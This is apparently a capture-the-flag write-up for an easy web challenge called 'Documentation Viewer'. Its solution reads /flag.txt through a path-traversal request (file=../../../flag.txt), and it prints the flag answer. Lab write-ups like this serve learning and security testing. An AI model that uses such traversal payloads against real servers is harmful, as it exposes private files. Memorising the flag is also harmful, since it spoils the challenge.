Difficulty: easy

Category: web

Author: xnull

Description:

### Documentation Viewer

This application lets you view company documentation files. The docs are stored in a specific directory on the server.

The flag is stored in `/flag.txt` on the server filesystem.

Solution

The challenge is self-explanatory, we can just visit https://<uuid>.ctf.endolum.io:1337/view?file=../../../flag.txt to get the flag.

Flag: ENDLM{7ea9f56e787cc6b31244d6038ab98960247223b440318873}